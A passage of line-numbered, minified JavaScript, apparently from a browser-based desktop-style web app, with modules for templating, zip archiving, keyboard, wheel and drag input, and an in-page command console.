3535 for (var i = 0; i < c.length; i++) c[i](o)
3536 }
3537}
3538
3539function o(n) {
3540 return new t(n)
3541}
3542n.$socket = o
3543}(this);
3544//js/template.js
3545! function(n) {
3546"use strict";
3547
3548function e(n) {
3549 return n = n || "", new Function("_", "return '" + n.replace(/[\\\n\r']/g, function(n) {
3550 return r[n]
3551 }).replace(/\{{#if\s*(.*?)\s*}}([\s\S]*?){{\/if}}/g, "' + (_.$1?'$2':'') + '").replace(/\{{#unless\s*(.*?)\s*}}([\s\S]*?){{\/unless}}/g, "' + (_.$1?'':'$2') + '").replace(/\{{\s*([\w\.]+)\s*}}/g, "' + (_.$1==null?'':_.$1) + '") + "'")
3552}
3553var r = {
3554 "\\": "\\\\",
3555 "\n": "\\n",
3556 "\r": "\\r",
3557 "'": "\\'"
3558};
3559n.$template = e
3560}(window);
3561//js/archive.js
3562! function(t) {
3563"use strict";
3564
3565function i(t, i) {
3566 function e(t) {
3567 $file.download(t, i + ".zip")
3568 }
3569
3570 function o(t, i) {
3571 r.update(t / i * 100)
3572 }
3573
3574 function n(t) {
3575 console.error(t)
3576 }
3577 i = i || $fs.utils.getName(t + "") || "derp";
3578 var r = $alert.progress("Creating Archive...", "Archive");
3579 $loader(["/c/libs/zip/zip.js", "/c/libs/zip/zip-fs.js"], function() {
3580 function r(t, e) {
3581 function o(t, i, e, n) {
3582 $io.enum([e], function(e, n, r) {
3583 "." !== n && ".." !== n ? $fs.utils.isShortcut(n) || "object" != typeof e ? $file.open(t + "/" + n, "Blob", function(t) {
3584 i.addBlob(n, t), r()
3585 }) : o(t + "/" + n, i.addDirectory(n), e, r) : r()
3586 }, function() {
3587 n()
3588 })
3589 }
3590 i = i || $fs.utils.getName(t);
3591 var n = $fs.utils.getPathObj(t);
3592 n ? o(n.cwd, c.root.addDirectory($fs.utils.getName(n.cwd)), n.obj, e) : $file.open(t, "Blob", function(t) {
3593 c.root.addBlob(this.name, t), e()
3594 })
3595 }
3596
3597 function s() {
3598 c.root.exportBlob(e, o, n)
3599 }
3600 zip.workerScriptsPath = "/c/libs/zip/";
3601 var c = new zip.fs.FS;
3602 "string" == typeof t ? r(t, s) : $io.enum(t, function(t, e, o) {
3603 if ($io.isElement(t)) {
3604 i = null;
3605 var n = t.getAttribute("data-exe"),
3606 s = t.getAttribute("data-path");
3607 $fs.utils.exist(n) ? r(n, o) : r(s, o)
3608 } else r(t, o)
3609 }, s)
3610 })
3611}
3612t.$archive = i
3613}(this);
3614//js/loop.js
3615function $loop(n, e) {
3616"use strict";
3617
3618function t(e) {
3619 n((e - f) / 1e3), m = requestAnimationFrame(t), f = performance.now()
3620}
3621
3622function o() {
3623 n((performance.now() - f) / 1e3), m = setTimeout(o, e), f = performance.now()
3624}
3625
3626function r() {
3627 n(), m = requestAnimationFrame(r)
3628}
3629
3630function u() {
3631 n(), m = setTimeout(u, e)
3632}
3633
3634function i(i) {
3635 return c(), void 0 !== i && (e = i), (l = n.length ? e && e > 0 ? o : t : e && e > 0 ? u : r)(0), p
3636}
3637
3638function c() {
3639 return e ? clearTimeout(m) : cancelAnimationFrame(m), p
3640}
3641
3642function a() {
3643 return s ? (c(), s = !1) : (i(), s = !0), p
3644}
3645var f, m, l, s = !1,
3646 p = {
3647 callback: n,
3648 play: i,
3649 pause: c,
3650 toggle: a,
3651 fn: function(e) {
3652 n = e
3653 },
3654 destroy: function() {
3655 c(), p = null
3656 }
3657 };
3658return p
3659}
3660//js/inputs/key.js
3661! function(e) {
3662"use strict";
3663
3664function t(e) {
3665 return e.preventDefault ? e.preventDefault() : e.returnValue = !1, !1
3666}
3667
3668function a(e) {
3669 var t = y(e.which);
3670 if (t.toUpperCase() !== t.toLowerCase()) return e.shiftKey && t.toLowerCase() === t || !e.shiftKey && t.toUpperCase() === t
3671}
3672
3673function r(e, t) {
3674 var a = x[k && p[d] ? "normal" : k ? v : p[d] ? d : "normal"][p[u] ? u : p[f] ? f : p[h] ? h : "normal"];
3675 return t && !a[e] && (a[e] = t), a[e]
3676}
3677
3678function o(e) {
3679 var t = r(e);
3680 return {
3681 key: t ? y(t) : y(e)[p[d] || k ? "toUpperCase" : "toLowerCase"](),
3682 code: t || e
3683 }
3684}
3685
3686function n(e) {
3687 var t = $extend({}, e.data);
3688 return t.session = e, t.w3c = U[e.data.key] || e.data.key, t.loc = t.w3c, t.pos = "Standard", e.data.event && e.data.event.location && (3 === e.data.event.location ? (t.pos = "Numpad", t.loc = "Numpad" + t.w3c) : e.data.char || (t.pos = 2 === e.data.event.location ? "Right" : "", t.loc = t.w3c + t.pos)), t.CapsLock = k, t
3689}
3690
3691function i(e, i) {
3692 function c(a) {
3693 if (a) {
3694 var r = a.call(i.thisArg, i.data.key, u = u || n(i));
3695 (i.preventDefault || !1 === r) && t(e)
3696 }
3697 }
3698
3699 function s(e) {
3700 if (e) {
3701 var t = i.possibleCombo.indexOf(e);
3702 t > -1 && i.possibleCombo.splice(t, 1), e.then && s(e.then)
3703 }
3704 }
3705
3706 function l(e) {
3707 f = f || p.keys;
3708 for (var t = 0, a = e.length; t < a; t++) {
3709 for (var r = !1, o = 0, n = e[t].keys.length; o < n; o++) {
3710 if (-1 === f.indexOf(e[t].keys[o])) {
3711 if (i.comboStrict) {
3712 r = !1, s(e[t].parent);
3713 break
3714 }
3715 if (-1 === f.indexOf(e[t].keys[o].toUpperCase())) {
3716 r = !1, s(e[t].parent);
3717 break
3718 }
3719 }
3720 r = !0
3721 }
3722 if (r)
3723 if (e[t].run) {
3724 if (c(e[t].run), s(e[t].parent), i.stopPropagation || i.uniqueCombo) break
3725 } else e[t].then && -1 === i.possibleCombo.indexOf(e[t].then) && i.possibleCombo.push(e[t].then)
3726 }
3727 }
3728
3729 function d() {
3730 if (!i.data.key) {
3731 var e = o(i.data.code);
3732 i.data.code = e.code, i.data.char = i.data.key = e.key
3733 }
3734 p[i.data.key] = !0, c(i.down), l(i.combo ? i.combo.concat(i.possibleCombo) : i.possibleCombo);
3735 for (var t in i.data) i.data.hasOwnProperty(t) && delete i.data[t]
3736 }
3737 if (i) {
3738 var u, f;
3739 if (i.data.event = e, "keydown" === e.type) {
3740 if (!1 === i.repeat && e.repeat) return d = null, void t(e);
3741 i.data.code = e.which, i.data.key = O[e.which] || null, i.data.char = "", i.preventDefault && (e.ctrlKey || i.data.key) && (t(e), e.stopImmediatePropagation()), (e.ctrlKey || e.shiftKey || i.data.key) && (d(), d = null, i.data.safe = !0)
3742 }
3743 if ("keypress" === e.type) {
3744 i.data.char = y(e.which), r(i.data.code, e.which);
3745 var h = a(e);
3746 if ("boolean" == typeof h && (k = h), !i.repeat && e.repeat || i.data.safe) return void(d = null);
3747 i.data.key || (i.data.code = e.which, i.data.key = y(e.which))
3748 }
3749 if ("keyup" === e.type) {
3750 d = null;
3751 var v = o(e.which);
3752 i.data.code = v.code, i.data.char = v.key, i.data.key = O[e.which] || v.key, p[i.data.key] = !1, c(i.up);
3753 var m = i.data.key;
3754 for (var w in x)
3755 if (x.hasOwnProperty(w))
3756 for (var g in x[w])
3757 if (x[w].hasOwnProperty(g) && (m === w || m === g))
3758 for (var C in x[w][g]) x[w][g].hasOwnProperty(C) && (i.data.code = x[w][g][C], i.data.key = y(i.data.code), p[i.data.key] = !1);
3759 for (var b in i.data) i.data.hasOwnProperty(b) && delete i.data[b];
3760 i.preventDefault && t(e)
3761 }
3762 return i.timer = setTimeout(d, 1), !0 !== i.stopPropagation && void 0
3763 }
3764}
3765
3766function c(e) {
3767 "number" != typeof(e = e || window.event).which && (e.which = e.keyCode);
3768 for (var t = 0, a = g.length; t < a && !1 !== i(e, g[t]); t++);
3769}
3770
3771function s(e) {
3772 var t = e.target;
3773 if (g.length = 0, C.length)
3774 for (; t && 1 === t.nodeType;) {
3775 for (var a = 0, r = C.length; a < r; a++) {
3776 var o = C[a];
3777 o.selector ? t.matches(o.selector) && g.push($extend({
3778 thisArg: t
3779 }, o)) : t === o.el && g.push($extend({
3780 thisArg: t
3781 }, o))
3782 }
3783 t = t.parentNode
3784 }
3785}
3786
3787function l(e) {
3788 var t = [];
3789 for (var a in e)
3790 if (e.hasOwnProperty(a))
3791 for (var r = a.replace(/\+\+/g, "+add").split(", "), o = 0, n = r.length; o < n; o++) {
3792 var i = {};
3793 t.push(i);
3794 for (var c = r[o].split(" "), s = i, l = 0, p = c.length; l < p; l++) {
3795 for (var d = c[l].split("+"), u = 0, f = d.length; u < f; u++) d[u] = D[d[u]] || D[L[d[u].toLowerCase()]] || L[d[u].toLowerCase()] || d[u];
3796 s.keys = d, 0 !== l && c.length > 1 && (s.parent = i), l === c.length - 1 ? s.run = e[a] : s = s.then = {}
3797 }
3798 }
3799 return t
3800}
3801
3802function p(e) {
3803 var t = {
3804 data: {},
3805 possibleCombo: []
3806 };
3807 "string" == typeof e ? t.selector = e : e && 1 === e.nodeType ? t.el = e : t.el = w;
3808 var a = C.push(t);
3809 t.stack = new Error("stack").stack.split("\n"), t.stack.shift(), t.stack = t.stack.join("\n");
3810 var r = {
3811 session: t,
3812 config: function(e) {
3813 return e ? ($extend(t, e), r) : t
3814 },
3815 up: function(e) {
3816 return t.up = e, r
3817 },
3818 down: function(e) {
3819 return t.down = e, r
3820 },
3821 combo: function(e) {
3822 var a = l(e);
3823 return t.combo ? t.combo = t.combo.concat(a) : t.combo = a, t.combo = t.combo.sort(function(e, t) {
3824 return t.keys.length - e.keys.length
3825 }), r
3826 },
3827 destroy: function() {
3828 C.splice(a - 1, 1)
3829 }
3830 };
3831 return r.set = r.combo, r
3832}! function(e) {
3833 Element && !e.matches && (e.matches = e.matchesSelector || e.mozMatchesSelector || e.msMatchesSelector || e.oMatchesSelector || e.webkitMatchesSelector)
3834}(Element.prototype);
3835var d, u, f, h, v, m, w = document.documentElement,
3836 y = String.fromCharCode,
3837 k = !1,
3838 g = [],
3839 C = [{
3840 data: {}
3841 }],
3842 b = "ctrl super altgr left up right down space caps scroll print menu esc ins del",
3843 P = ["⌫ Bksp Backspace", "↲ Enter", "⇧ Shift", "⇫ Caps CapsLock", "Option Alt", "Ctrl Control", "ðŸ ♥  ⌘ Cmd Win Meta Super Command OS", "⇞ PgUp PageUp", "⇟ PgDn PgDown PageDown", "↖ Home", "↘ End", "↤ ↠Left ArrowLeft", "↥ ↑ Up ArrowUp", "↦ → Right ArrowRight", "↧ ↓ Down ArrowDown", "⎵ Space Spacebar", "Del Delete", "Ins Insert", "Print PrintScr PrintScreen", "☰ Menu Apps Context_menu ContextMenu", "ScrLk Scroll ScrollLock", "AltGr AltGraph", "Break Pause", "Esc Escape", "Multiply *", "Add +", "Subtract -", "Decimal Period .", "Divide Slash /", "Backslash \\", "Equals =", "Semicolon ;", "Comma ,", "Hash Sharp Hashtag Octothorpe #"],
3844 S = {
3845 3: "Enter",
3846 8: "Backspace",
3847 9: "Tab",
3848 12: "Clear",
3849 13: "Enter",
3850 16: "Shift",
3851 17: "Control",
3852 18: "Alt",
3853 19: "Pause",
3854 20: "CapsLock",
3855 27: "Escape",
3856 32: "Spacebar",
3857 33: "PageUp",
3858 34: "PageDown",
3859 35: "End",
3860 36: "Home",
3861 37: "ArrowLeft",
3862 38: "ArrowUp",
3863 39: "ArrowRight",
3864 40: "ArrowDown",
3865 44: "PrintScreen",
3866 45: "Insert",
3867 46: "Delete",
3868 91: "OS",
3869 92: "OS",
3870 93: "ContextMenu",
3871 96: "Insert",
3872 108: "Enter",
3873 124: "PrintScreen",
3874 127: "Delete",
3875 144: "NumLock",
3876 145: "ScrollLock",
3877 224: "OS",
3878 225: "AltGraph",
3879 63232: "ArrowUp",
3880 63233: "ArrowDown",
3881 63234: "ArrowLeft",
3882 63235: "ArrowRight",
3883 63272: "Delete",
3884 63273: "Home",
3885 63275: "End",
3886 63276: "PageUp",
3887 63277: "PageDown",
3888 63302: "Insert"
3889 },
3890 L = {},
3891 A = {},
3892 E = {},
3893 O = {},
3894 D = {},
3895 U = {},
3896 x = {};
3897for (m = 1; m <= 12; m++) S[m + 111] = S[m + 63235] = "F" + m;
3898! function() {
3899 for (var e = 0, t = P.length; e < t; e++)
3900 for (var a = P[e].split(" "), r = a.pop(), o = a.length - 1; o >= 0; o--) a[o].length < 3 ? (E[r] = a[o], E[r + "Right"] = a[o]) : a[o].length < r.length && (A[r] = a[o], A[r + "Right"] = a[o]), L[a[o].toLowerCase()] = r;
3901 for (var n = b.split(" "), i = n[0].toLowerCase() === n[0] ? "toLowerCase" : n[0].toUpperCase() === n[0] ? "toUpperCase" : null, e = 0, t = n.length; e < t; e++) D[L[n[e].toLowerCase()]] = n[e];
3902 for (var c in S) S.hasOwnProperty(c) && (O[c] = D[S[c]] || (i ? S[c][i]() : S[c]), D[S[c]] = O[c], U[O[c]] = S[c]);
3903 d = D.Shift, u = D.Alt, f = D.AltGraph, h = D.Control, v = D.CapsLock;
3904 for (var c in x) x.hasOwnProperty(c) && delete x[c];
3905 x.normal = {
3906 normal: {}
3907 }, x.normal[u] = {}, x.normal[f] = {}, x.normal[h] = {}, x[d] = {
3908 normal: {}
3909 }, x[d][u] = {}, x[d][f] = {}, x[d][h] = {}, x[v] = {
3910 normal: {}
3911 }, x[v][u] = {}, x[v][f] = {}, x[v][h] = {}
3912}(), w.addEventListener("keydown", c, !1), w.addEventListener("keypress", c, !1), w.addEventListener("keyup", c, !1), w.setAttribute("tabindex", "0"), w.addEventListener("focus", function(e) {
3913 s(e)
3914}, !0), w.addEventListener("click", function(e) {
3915 s(e)
3916}, !0), w.focus(), w.addEventListener("focusout", function(e) {
3917 setTimeout(function() {
3918 if (!document.hasFocus())
3919 for (var e in p) p.hasOwnProperty(e) && (p[e] = !1)
3920 }, 0)
3921}, !1), w.addEventListener("dblclick", function(e) {
3922 for (var t in p) p.hasOwnProperty(t) && (p[t] = !1)
3923}, !1), Object.defineProperties(p, {
3924 alias: {
3925 value: {
3926 small: function(e) {
3927 return A[e] || e
3928 },
3929 symbol: function(e) {
3930 return E[e] || A[e] || e
3931 },
3932 favorite: function(e) {
3933 return O[e] || e
3934 }
3935 }
3936 },
3937 keys: {
3938 get: function() {
3939 var e, t = [];
3940 for (e in p) p.hasOwnProperty(e) && p[e] && t.push(e);
3941 return t
3942 }
3943 },
3944 activate: {
3945 value: function() {
3946 console.log("active")
3947 }
3948 }
3949}), e.$key = p
3950}(this);
3951//js/inputs/gamepad.js
3952! function(n) {
3953"use strict";
3954
3955function o(n) {
3956 console.log(n)
3957}
3958n.$gamepad = o
3959}(this);
3960//js/inputs/wheel.js
3961! function(e) {
3962"use strict";
3963
3964function t(e, t, i) {
3965 function a(e) {
3966 e = window.event || e, w ? w.isEqualNode(e.target) && (e.preventDefault(), y(e)) : v.noscroll ? (e.preventDefault(), y(e)) : y(e)
3967 }
3968
3969 function o(e) {
3970 e.preventDefault(), clearTimeout(f), f = setTimeout(function() {
3971 c()
3972 }, m)
3973 }
3974
3975 function r(e) {
3976 e.preventDefault(), h(), clearTimeout(f)
3977 }
3978
3979 function c() {
3980 e.addEventListener("mousewheel", a, !1), e.addEventListener("DOMMouseScroll", a, !1)
3981 }
3982
3983 function h() {
3984 e.removeEventListener("mousewheel", a, !1), e.removeEventListener("DOMMouseScroll", a, !1)
3985 }
3986 if ("object" == typeof e && !(e instanceof HTMLElement)) return n = e;
3987 var u, f, d = e,
3988 v = $extend({}, n, i),
3989 m = v.delayy,
3990 w = v.handler;
3991 if (e + "" === e && ((e = document.getElementById(d)) || (e = document.querySelector(d))), e) {
3992 s[++l] = t, e.setAttribute("data-wheel-id", l);
3993 var y = function(t) {
3994 var n = t.wheelDelta ? t.wheelDelta / 40 : t.detail ? -t.detail : 0;
3995 return s[l].call(e, n, t), !1
3996 };
3997 if (v.acceleration) {
3998 var E = 0,
3999 L = !0;
4000 u = setInterval(function() {
4001 (E -= .1 * E) < 0 && (E = 0)
4002 }, v.acceleration), y = function(t) {
4003 E += 1;
4004 var n = t.wheelDelta ? t.wheelDelta / 40 : t.detail ? -t.detail : 0;
4005 return n > 0 ? (!1 === L && (E = 1), L = !0) : (!0 === L && (E = 1), L = !1), s[l].call(e, n, E, t), !1
4006 }
4007 }
4008 return v.throttle && (a = $io.fn.throttle(a, v.throttle)), v.debounce && (a = $io.fn.debounce(a, v.debounce)), e.addEventListener("mouseenter", m ? o : c, !1), e.addEventListener("mouseleave", m ? r : h, !1), {
4009 destroy: function() {
4010 e.removeEventListener("mouseenter", m ? o : c, !1), e.removeEventListener("mouseleave", m ? r : h, !1), clearTimeout(f), clearInterval(u);
4011 var t = e.getAttribute("data-wheel-id");
4012 t && s[t] && delete s[t], e.removeEventListener("mousewheel", a, !1), e.removeEventListener("DOMMouseScroll", a, !1), console.log("$wheel destroy : ", e.getAttribute("data-wheel-id"))
4013 }
4014 }
4015 }
4016}
4017var s = {},
4018 l = 0,
4019 n = {
4020 debounce: 0,
4021 noscroll: !1,
4022 handler: null,
4023 delay: 0
4024 };
4025t.scale = function(e, s) {
4026 var l = $extend({
4027 negatif: !1
4028 }, s);
4029 e.scaleX = 1, e.scaleY = 1;
4030 var n = e.offsetWidth,
4031 i = e.offsetHeight,
4032 a = t(e, function(e, t) {
4033 var s = this.scaleX,
4034 a = this.scaleY;
4035 e > 0 ? (this.scaleX += .1 * this.scaleX, this.scaleY += .1 * this.scaleY) : (this.scaleX -= .1 * this.scaleX, this.scaleY -= .1 * this.scaleY), l.negatif ? (this.scaleX < .1 && (this.scaleX = .1), this.scaleY < .1 && (this.scaleY = .1)) : (this.scaleX < 1 && (this.scaleX = 1), this.scaleY < 1 && (this.scaleY = 1)), this.style.width = n * this.scaleX + "px", this.style.height = i * this.scaleY + "px";
4036 var o = 1 - this.scaleX / s,
4037 r = 1 - this.scaleY / a,
4038 c = this.offsetLeft,
4039 h = this.offsetTop;
4040 c += (t.clientX - this.offsetLeft) * o, h += (t.clientY - this.offsetTop) * r, this.style.top = h + "px", this.style.left = c + "px"
4041 });
4042 return {
4043 destroy: function() {
4044 a.destroy(), delete e.scaleW, delete e.scaleH
4045 }
4046 }
4047}, e.$wheel = t
4048}(this);
4049//js/ui/cli.js
4050! function(e) {
4051"use strict";
4052
4053function t(e) {
4054 return "string" == typeof e ? e : $io.isNumber(e) ? '<span class="sh_number">' + e + "</span>" : void 0 === e ? "undefined" : null === e ? "null" : "function" == typeof e ? $io.str.hilit($io.fn.str(e)) : $io.isObject(e) || $io.isArray(e) ? $io.str.hilit($io.stringify(e, 2)) : "function" == typeof e.constructor ? "<span class=sh_init>" + e.constructor.name + "</span> " + $io.str.hilit($io.stringify(e, 2), !0) : e
4055}
4056
4057function o(e, t) {
4058 for (var i in e) {
4059 var r = e[i];
4060 if (i == t) return;
4061 "string" == typeof r || "number" == typeof r || "boolean" == typeof r ? n.pad(i, r + "", ".") : $io.is.Object(r) && o(r, t)
4062 }
4063}
4064
4065function n(e, r, s) {
4066 if (l.clear) return l.el.innerHTML = "", void(l.clear = "");
4067 if (l.repeat && (e = e.repeat(l.cols), l.repeat = ""), l.code && (e = $io.str.hilit(e), l.code = ""), l.pass && (e = "✔ " + e, a += "ui_log__green", l.pass = ""), l.fail && (e = "✘ " + e, a += "ui_log__red", l.fail = ""), l.info && (e = "ℹ " + e, a += "ui_log__blue", l.info = ""), l.italic && (a += " italic", l.italic = ""), l.bold && (a += " bold", l.bold = ""), l.white && (a += " ui_log__white", l.white = ""), l.yellow && (a += " ui_log__yellow", l.yellow = ""), l.cyan && (a += " ui_log__cyan", l.cyan = ""), l.magenta && (a += " ui_log__magenta", l.magenta = ""), l.blue && (a += " ui_log__blue", l.blue = ""), l.red && (a += " ui_log__red", l.red = ""), l.succes && (a += " ui_log__green", l.succes = ""), l.green && (a += " ui_log__green", l.green = ""), l.error && (a += " ui_log__red js_error", l.error = ""), l.obj) return l.obj = "", void o(e, r);
4068 if ("Error" === $io.type(e) && (e = e.constructor.name + "\n" + e.message + $io.str.autolink(e.stack)), l.pad) {
4069 var c;
4070 s ? c = s : (c = r, r = "");
4071 var u = l.cols - 3 - (e.length + (r || "").length + (r ? 2 : 1));
4072 (e = e + " " + c.repeat((3 + (u >= 0 ? u : 0)) / c.length) + (r ? " " + r : "")).length > l.cols && (e = e.match(new RegExp(".{1," + l.cols + "}", "g")).join("\n")), l.pad = ""
4073 } else r && (e = $io.arg.arr(arguments).join(", "));
4074 return l.el ? (i = document.createElement("div"), i.innerHTML = t(e), i.className = a, l.el.appendChild(i), n.trigger("addline"), a = "", i) : void 0
4075}
4076for (var i, r = ["clear", "error", "error", "succes", "fail", "pass", "warn", "info", "bold", "italic", "red", "blue", "green", "white", "yellow", "cyan", "magenta", "html", "autolink", "code", "pad", "right", "center", "repeat", "stack", "save", "stay", "id", "fast", "group", "noop", "obj", "end"], l = {
4077 el: null
4078 }, s = {}, a = "", c = 0, u = r.length; c < u; c++) l[r[c]] = "", s[r[c]] = function(e) {
4079 return function() {
4080 l[e] = "1"
4081 }
4082}(r[c]);
4083n.config = function(e) {
4084 return $extend(l, e), n
4085}, $watch(n), e.$log = $chain(n, s, s)
4086}(this),
4087function(e) {
4088"use strict";
4089
4090function t(e) {
4091 e.scrollTop = e.scrollHeight
4092}
4093
4094function o(e) {
4095 e.style.height = e.scrollHeight + "px"
4096}
4097
4098function n(n, r) {
4099 function l() {
4100 $log.config({
4101 cols: u.cols,
4102 el: p
4103 })
4104 }
4105
4106 function s() {
4107 e.$selection && ($selection.get() || setTimeout(function() {
4108 f.focus(), l()
4109 }, 200))
4110 }
4111
4112 function a(e) {
4113 o(e), t(e)
4114 }
4115 var c = {
4116 cols: 59,
4117 exe: $noop,
4118 prompt: ">",
4119 history: i
4120 },
4121 u = $extend(c, r),
4122 d = document.createElement("code"),
4123 p = document.createElement("div"),
4124 y = document.createElement("div"),
4125 g = document.createElement("span"),
4126 f = document.createElement("textarea");
4127 if (n) {
4128 u.prompt += " ", g.innerHTML = u.prompt, f.innerHTML = "", f.spellcheck = !1, f.rows = "1", f.style.outline = "0 none", f.style.boxShadow = "0 0 transparent", f.style.textShadow = "0 0 transparent", f.style.border = "0 none", f.style.verticalAlign = "top", f.style.resize = "none", f.style.padding = "0", f.style.margin = "0", f.style.height = "auto", f.style.width = "100%", f.style.color = "inherit", f.style.font = "inherit", f.style.fontSize = "inherit", f.style.background = "transparent", f.style.overflow = "hidden", f.style.textIndent = "0", y.style.display = "table", y.style.tableLayout = "fixed", f.style.display = "table-cell", g.style.display = "table-cell", g.style.width = "1%", g.style.whiteSpace = "nowrap", y.appendChild(g), y.appendChild(f), d.appendChild(p), d.appendChild(y), d.style.display = "block", d.style.width = u.cols + "ch", d.style.whiteSpace = "pre-wrap", d.style.wordBreak = "break-word", d.style.wordWrap = "break-word", n.appendChild(d), n.style.overflowY = "scroll", u.rows && (n.style.height = u.rows + "em"), $log.on("addline", function() {
4129 t(n)
4130 }), n.addEventListener("mouseup", s, !1), n.addEventListener("contextmenu", s, !1), f.addEventListener("mouseup", function(e) {
4131 e.stopPropagation ? e.stopPropagation() : e.cancelBubble = !0, e.stopImmediatePropagation(), l()
4132 }, !1), f.addEventListener("paste", function(e) {
4133 setTimeout(function() {
4134 a(f)
4135 }, 0)
4136 }, !1);
4137 var h = 0,
4138 m = !1,
4139 _ = $key(n).down(function(e, t, o) {
4140 a(f);
4141 var n = u.history.length;
4142 if (!1 === $.onkey(e, f.value)) return !1;
4143 if ("enter" == e) {
4144 var i = $io.str.trim(f.value);
4145 if (!i) return $.log(u.prompt), !1;
4146 if (f.value = "", f.style.height = "auto", h = 0, !1 === $.onenter(i)) return !1;
4147 if ($.log(u.prompt + i), u.history[n - 1] != i && u.history.push(i), !u.exe.call($, i)) try {
4148 $.log(eval.call(window, i))
4149 } catch (o) {
4150 $.log.error(o.message + "\n")
4151 }
4152 return !1
4153 }
4154 if (f.value || (m = !1), !m) {
4155 if ("up" == e) return ++h > n && (h = n), f.value = u.history[n - h] || "", a(f), !1;
4156 if ("down" == e) return --h < 0 && (h = 0), f.value = u.history[n - h] || "", a(f), !1
4157 }
4158 }),
4159 w = $log.config({
4160 cols: u.cols,
4161 el: p
4162 }),
4163 $ = {
4164 cli: !0,
4165 cfg: u,
4166 destroy: function() {
4167 _.destroy(), this.ondestroy(), console.log("@todo : terminal destroy")
4168 },
4169 setFocus: s,
4170 ondestroy: $noop,
4171 onenter: $noop,
4172 onkey: $noop,
4173 prompt: g,
4174 input: f,
4175 log: w
4176 };
4177 return $
4178 }
4179}
4180n.clearhistory = function() {
4181 i.length = 0
4182};
4183var i = e.$store ? $store(".config/history.json", [], function(e) {
4184 i = e
4185}, function() {
4186 return i
4187}) : [];
4188e.$cli = n
4189}(this);
4190//js/ui/box.js
4191! function(t) {
4192"use strict";
4193
4194function e(t, e) {
4195 document.documentElement.addEventListener(t, e, !1)
4196}
4197
4198function o(t, e) {
4199 document.documentElement.removeEventListener(t, e, !1)
4200}
4201
4202function n(t) {
4203 var e = t.changedTouches ? t.changedTouches[0] : null;
4204 return e ? {
4205 x: e.clientX,
4206 y: e.clientY
4207 } : {
4208 x: t.clientX,
4209 y: t.clientY
4210 }
4211}
4212
4213function r(t, e) {
4214 return !(t.right <= e.left || t.left >= e.right || t.bottom <= e.top || t.top >= e.bottom)
4215}
4216
4217function c(t, c, l) {
4218 function s() {
4219 if (g.target) {
4220 for (var t = x.querySelectorAll(g.target), e = [], o = 0, n = t.length; o < n; o++) r(E, t[o].getBoundingClientRect()) && e.push(t[o]);
4221 return e
4222 }
4223 }
4224
4225 function i(t) {
4226 g.onstart.call(x, t, b), S = !0
4227 }
4228
4229 function a(t) {
4230 var e = n(t);
4231 m = e.x - h, p = e.y - f;
4232 var o = Math.abs(m),
4233 r = Math.abs(p);
4234 E.top = p > 0 ? f : e.y, E.left = m > 0 ? h : e.x, b.style.top = E.top + "px", b.style.left = E.left + "px", (o > g.distance || r > g.distance) && w === x.scrollTop && (t.preventDefault(), S || i(t), b.style.display = "block", E.right = E.left + o, E.bottom = E.top + r, b.style.width = o + "px", b.style.height = r + "px", g.ondraw.call(x, t, s()))
4235 }
4236
4237 function u(t) {
4238 if (this.isEqualNode(t.target || t.srcElement)) {
4239 w = x.scrollTop;
4240 var o = n(t);
4241 x.appendChild(b), h = o.x, f = o.y, a(t), e("mousemove", a), e("touchmove", a), e("mouseup", d), e("touchend", d), e("contextmenu", d), g.oninit.call(x, t, b)
4242 }
4243 }
4244
4245 function d(t) {
4246 o("mousemove", a), o("touchmove", a), o("mouseup", d), o("touchend", d), o("contextmenu", d), g.onstop.call(x, t, s()), b.style.display = "none", x.removeChild(b), S = !1, w = x.scrollTop
4247 }
4248 if ("object" == typeof c && (l = c, c = null), "string" == typeof t && (t = document.querySelector(t)), !t) throw new Error("$box : element missing");
4249 var m, p, h, f, y, v = {
4250 distance: 10,
4251 oninit: $noop,
4252 onstart: $noop,
4253 ondraw: function(t, e, o) {},
4254 onstop: $noop
4255 },
4256 g = $extend(v, l),
4257 x = t;
4258 y = c ? function(t) {
4259 for (var e = t.target; e && 1 == e.nodeType && !e.matches(c);) e = e.parentNode;
4260 e && 9 != e.nodeType && (x = e, u.call(x, t))
4261 } : u;
4262 var b = document.createElement("div");
4263 b.className = "ui_select_box", b.style.position = "fixed", b.style.zIndex = 9999, b.style.border = "1px dotted #000", b.style.backgroundColor = "rgba(0,0,0,.1)", b.style.display = "none";
4264 var E = {
4265 right: 0,
4266 left: 0,
4267 bottom: 0,
4268 top: 0
4269 },
4270 w = 0,
4271 S = !1;
4272 return t.addEventListener("mousedown", y, !1), t.addEventListener("touchstart", y, !1), {
4273 destroy: function() {
4274 t.removeEventListener("mousedown", y, !1), t.removeEventListener("touchstart", y, !1)
4275 }
4276 }
4277}! function(t) {
4278 Element && !t.matches && (t.matches = t.matchesSelector || t.mozMatchesSelector || t.msMatchesSelector || t.oMatchesSelector || t.webkitMatchesSelector)
4279}(Element.prototype), c.overlap = r, t.$box = c
4280}(this);
4281//js/ui/drag.js
4282! function(e) {
4283"use strict";
4284
4285function t(e, t) {
4286 document.documentElement.addEventListener(e, t, !1)
4287}
4288
4289function n(e, t) {
4290 document.documentElement.removeEventListener(e, t, !1)
4291}
4292
4293function o(e) {
4294 var t = e.changedTouches ? e.changedTouches[0] : null;
4295 return t ? {
4296 x: t.clientX,
4297 y: t.clientY
4298 } : {
4299 x: e.clientX,
4300 y: e.clientY
4301 }
4302}
4303
4304function i(e, s, l) {
4305 function r(e) {
4306 var t = o(e);
4307 f = t.x - v, p = t.y - x, (i.isDragging || Math.abs(f) > $.distance || Math.abs(p) > $.distance) && (c(e), i.isDragging || m(e), f += h, p += y, $.constrain && (f = f > b ? b : f < N ? N : f, p = p > z ? z : p < w ? w : p), $.grid && (f = ~~((f + $.grid[0] / 2) / $.grid[0]) * $.grid[0], p = ~~((p + $.grid[1] / 2) / $.grid[1]) * $.grid[1]), $.ghost ? i.ghost && (i.ghost.style.left = f + "px", i.ghost.style.top = p + "px") : (i.elem.style.left = f + "px", i.elem.style.top = p + "px"), i.x = f, i.y = p, $.ondrag.call(i.elem, e, f, p), $.zone && a(e, t))
4308 }
4309
4310 function a(e, t) {
4311 var n = document.elementFromPoint(t.x, t.y);
4312 for (var o in $.zone)
4313 if ($.zone.hasOwnProperty(o)) {
4314 for (var s = $.zone[o], l = n; l && 1 == l.nodeType && !l.matches(o);) l = l.parentNode;
4315 l && 9 != l.nodeType ? (i.zone !== l && (s.leave && i.zone && s.leave(e, i.zone, i.elem), s.enter && s.enter(e, l, i.elem)), i.zone = l) : i.zone && (s.leave && s.leave(e, i.zone, i.elem), i.zone = null), s.move && i.zone && s.move(e, i.zone, i.elem)
4316 }
4317 }
4318
4319 function u(e) {
4320 var t = !1,
4321 n = o(e);
